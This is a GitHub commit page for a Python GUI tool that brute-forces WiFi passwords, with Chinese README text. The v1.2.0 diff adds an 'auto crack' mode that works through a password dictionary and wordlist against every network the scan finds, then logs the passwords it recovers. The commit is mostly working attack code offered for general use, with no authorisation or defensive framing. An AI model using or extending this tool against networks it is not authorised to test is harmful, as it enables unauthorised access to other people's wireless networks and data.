Skip to content

Commit

Permalink
更新v1.2.0
Browse files Browse the repository at this point in the history
  • Loading branch information
baihengaead committed Aug 15, 2024
1 parent ca4cd3f commit 597ef48
Show file tree
Hide file tree
Showing 4 changed files with 119 additions and 20 deletions.
39 changes: 39 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -14,10 +14,41 @@ wifi_crack_tool是一款基于Python开发的拥有图形界面的WiFi密码暴

#### 简单使用

##### 使用

首先测试你的无线网卡在 扫描wifi 和 连接wifi 时最佳的延时时长(以能成功扫描和成功连接为准),然后设置 扫描时间 和 连接时间。

接下来正常使用就可以啦。

##### 结果

破解的结果会在日志中显示,破解完成后会弹窗提示,并自动将破解得到的密码复制到剪切板。

#### 自动运行

##### 介绍

自动破解扫描到的所有WiFi

##### 使用

1. 选择你要使用的无线网卡
2. 扫描WiFi
3. WiFi名称选择 ——全部——
4. 开始破解

##### 结果

破解的结果会在日志中显示,全部破解完成后会弹窗提示。

结果示例:

```txt
(1) wifi名称1 密码1
(2) wifi名称2 密码2
...
```

#### 多开并发

##### 要求
Expand All @@ -34,6 +65,10 @@ wifi_crack_tool是一款基于Python开发的拥有图形界面的WiFi密码暴
4. 选择需要破解的WiFi
5. 开始破解

##### 结果

见 简单使用 / 自动运行

#### 密码本

##### 默认文件路径
Expand Down Expand Up @@ -142,6 +177,10 @@ Tips:理论支持Win10、Win11、Linux、MacOS(Linux 与 macOS 暂未测试

## 更新日志

### v1.2.0

- **[新增]** 对扫描到的所有WiFi进行**自动破解**。([#10](https://github.com/baihengaead/wifi-crack-tool/issues/10))

### v1.1.1

- **[修复]** 部分已知问题。
Expand Down
96 changes: 78 additions & 18 deletions wifi_crack_tool.py
Original file line number Diff line number Diff line change
Expand Up @@ -2,7 +2,7 @@
"""
Author: 白恒aead
Repositories: https://github.com/baihengaead/wifi-crack-tool
Version: 1.1.1
Version: 1.2.0
"""
import os,sys,datetime,time,threading,ctypes,json
from typing import Any
Expand Down Expand Up @@ -32,14 +32,16 @@ def __init__(self,mutex):
self.icon_path = "images/wificrack.ico"

if mutex is None:
self.showinfo(title='WiFi\u5bc6\u7801\u66b4\u529b\u7834\u89e3\u5de5\u5177v1.1', message='应用程序的另一个实例已经在运行。')
self.showinfo(title='WiFi\u5bc6\u7801\u66b4\u529b\u7834\u89e3\u5de5\u5177v1.2.0', message='应用程序的另一个实例已经在运行。')
sys.exit()

icon = QIcon()
icon.addFile(self.icon_path, QSize(), QIcon.Mode.Normal, QIcon.State.Off)
self.setWindowIcon(icon)

#------------------------- 初始化控件状态 -------------------------------#
self.ui.cbo_wifi_name.addItem('——全部——')

self.ui.cbo_security_type.addItems(['WPA','WPAPSK','WPA2','WPA2PSK','UNKNOWN'])
self.ui.cbo_security_type.setCurrentIndex(3)
self.set_display_using_pwd_file()
Expand Down Expand Up @@ -317,6 +319,7 @@ def set_controls_running_state(self):
def refresh_wifi(self):
try:
self.ui.cbo_wifi_name.clear()
self.ui.cbo_wifi_name.addItem('——全部——')
self.ui.cbo_wifi_name.setDisabled(True)
self.ui.btn_refresh_wifi.setDisabled(True)
self.ui.btn_start.setDisabled(True)
Expand All @@ -337,9 +340,14 @@ def start(self):
wifi_name = self.ui.cbo_wifi_name.currentText()
self.run = True
self.set_controls_running_state()
thread = threading.Thread(target=self.crack.crack,args=(wifi_name,))
thread.daemon = True
thread.start()
if self.ui.cbo_wifi_name.currentIndex() == 0:
thread = threading.Thread(target=self.crack.auto_crack)
thread.daemon = True
thread.start()
else:
thread = threading.Thread(target=self.crack.crack,args=(wifi_name,))
thread.daemon = True
thread.start()
else:
if self.change_pwd_file():
self.start()
Expand Down Expand Up @@ -369,6 +377,8 @@ def __init__(self,tool:'WifiCrackTool'):
self.wnics = self.wifi.interfaces()
self.iface:Interface
self.get_wnic()
self.ssids = []
self.is_auto = False

def get_wnic(self):
'''获取无线网卡'''
Expand Down Expand Up @@ -401,23 +411,66 @@ def search_wifi(self):
# 去除重复AP项
ap_dic_tmp = {}
for b in ap_list:
ap_dic_tmp[b.ssid] = b
if b.ssid.replace(' ', '') != '':
ap_dic_tmp[b.ssid] = b

# 将字典转换为列表,并去除列表中的空字符项
ap_list = list(ap_dic_tmp.values())

self.win.show_msg.send("扫描完成!\n","black")
ssids = []
self.ssids = []
for i,data in enumerate(ap_list):#输出扫描到的WiFi名称
ssid = data.ssid.encode('raw_unicode_escape').decode('utf-8')
ssids.insert(i,ssid)
self.ssids.insert(i,ssid)
self.win.reset_controls_state.send()
self.win.add_wifi_items.send(ssids)
if len(ssids) > 0:
self.win.add_wifi_items.send(self.ssids)
if len(self.ssids) > 0:
self.win.set_wifi_current_index.send(0)
except Exception as r:
self.win.show_error.send('错误警告',f'扫描wifi时发生未知错误 {r}')
self.win.show_msg.send(f"扫描wifi时发生未知错误 {r}\n\n","red")
self.win.reset_controls_state.send()

def auto_crack(self):
'''
自动破解所有WiFi
'''
try:
self.is_auto = True
self.win.show_msg.send(f"开始自动破解已扫描到的所有WiFi\n","blue")
wifi_info = "WiFi列表:\n"
for i,ssid in enumerate(self.ssids,1):
wifi_info = wifi_info+f"{(' '*40)}({i}){(' '*10)}{ssid}\n"
self.win.show_msg.send(wifi_info,"blue")

pwds = {}
colors = {}
for ssid in self.ssids:
pwd = self.crack(ssid)
if isinstance(pwd,str):
pwds[ssid] = pwd
colors[ssid] = "green"
else:
pwds[ssid] = "破解失败"
colors[ssid] = "red"

self.win.show_msg.send(f"自动破解已完成!\n","blue")
crack_result_info = "结果如下:\n"
for i,ssid in enumerate(self.ssids,1):
crack_result_info = crack_result_info+f"<span style='color:{colors[ssid]}'>{('&nbsp;'*40)}({i}){('&nbsp;'*10)}{ssid}{('&nbsp;'*10)}{pwds[ssid]}</span>\n"

self.win.show_msg.send(crack_result_info,"blue")
self.win.show_info.send('自动破解',"自动破解已完成!破解结果已记录到日志中")

self.is_auto = False
self.tool.reset_controls_state()
except Exception as r:
self.win.show_error.send('错误警告','自动破解过程中发生未知错误 %s' %(r))
self.win.show_msg.send(f"自动破解过程中发生未知错误 {r}\n\n","red")
self.is_auto = False
self.tool.reset_controls_state()
return False

def crack(self,ssid:str):
'''
破解wifi
Expand All @@ -433,6 +486,7 @@ def crack(self,ssid:str):
self.win.show_msg.send("现有连接断开失败!\n\n","red")
return False
self.win.show_msg.send(f"正在准备破解WiFi[{ssid}]...\n\n","black")

if len(self.tool.pwd_dict_data) > 0:
pwd_dict_list = [ssids for ssids in self.tool.pwd_dict_data if ssids['ssid'] == ssid]
if len(pwd_dict_list) > 0:
Expand All @@ -441,27 +495,33 @@ def crack(self,ssid:str):
if self.tool.run==False:
self.win.show_msg.send("破解已终止.\n","black")
self.win.reset_controls_state.send()
return
return False
pwd = pwd_dict['pwd']
result = self.connect(ssid,pwd,'json',i)
if result:
if result and not self.is_auto:
self.win.show_info.send('破解成功',"连接成功,密码:%s\n(已复制到剪切板)"%(pwd))
return
return True
elif result:
return pwd
self.win.show_msg.send(f"已尝试完密码字典中[{ssid}]的所有密码,未成功破解\n\n","red")
self.win.show_msg.send(f"开始尝试使用密码本破解WiFi[{ssid}]...\n\n","black")
with open(self.tool.config_settings_data['pwd_txt_path'],'r', encoding='utf-8', errors='ignore') as lines:
for i,line in enumerate(lines,1):
if self.tool.run==False:
self.win.show_msg.send("破解已终止.\n","black")
self.win.reset_controls_state.send()
return
return False
pwd = line.strip()
result = self.connect(ssid,pwd,'txt',i)
if result:
if result and not self.is_auto:
self.win.show_info.send('破解成功',"连接成功,密码:%s\n(已复制到剪切板)"%(pwd))
return
self.win.show_info.send('破解失败',"破解失败,已尝试完密码本中所有可能的密码")
self.tool.reset_controls_state()
return True
elif result:
return pwd
if not self.is_auto:
self.win.show_info.send('破解失败',"破解失败,已尝试完密码本中所有可能的密码")
self.tool.reset_controls_state()
return False
except Exception as r:
self.win.show_error.send('错误警告','破解过程中发生未知错误 %s' %(r))
self.win.show_msg.send(f"破解过程中发生未知错误 {r}\n\n","red")
Expand Down
2 changes: 1 addition & 1 deletion wifi_crack_tool_gui.py
Original file line number Diff line number Diff line change
Expand Up @@ -126,7 +126,7 @@ def setupUi(self, MainWindow):
# setupUi

def retranslateUi(self, MainWindow):
MainWindow.setWindowTitle(QCoreApplication.translate("MainWindow", u"WiFi\u5bc6\u7801\u66b4\u529b\u7834\u89e3\u5de5\u5177v1.1 by \u767d\u6052aead", None))
MainWindow.setWindowTitle(QCoreApplication.translate("MainWindow", u"WiFi\u5bc6\u7801\u66b4\u529b\u7834\u89e3\u5de5\u5177v1.2.0 by \u767d\u6052aead", None))
self.lbl_wifi_name.setText(QCoreApplication.translate("MainWindow", u"WiFi\u540d\u79f0:", None))
self.lbl_security_type.setText(QCoreApplication.translate("MainWindow", u"\u5b89\u5168\u7c7b\u578b:", None))
self.lbl_wnic.setText(QCoreApplication.translate("MainWindow", u"\u65e0\u7ebf\u7f51\u5361:", None))
Expand Down
2 changes: 1 addition & 1 deletion wifi_crack_tool_gui.ui
Original file line number Diff line number Diff line change
Expand Up @@ -32,7 +32,7 @@
</size>
</property>
<property name="windowTitle">
<string>WiFi密码暴力破解工具v1.1 by 白恒aead</string>
<string>WiFi密码暴力破解工具v1.2.0 by 白恒aead</string>
</property>
<property name="windowIcon">
<iconset>
Expand Down

0 comments on commit 597ef48

Please sign in to comment.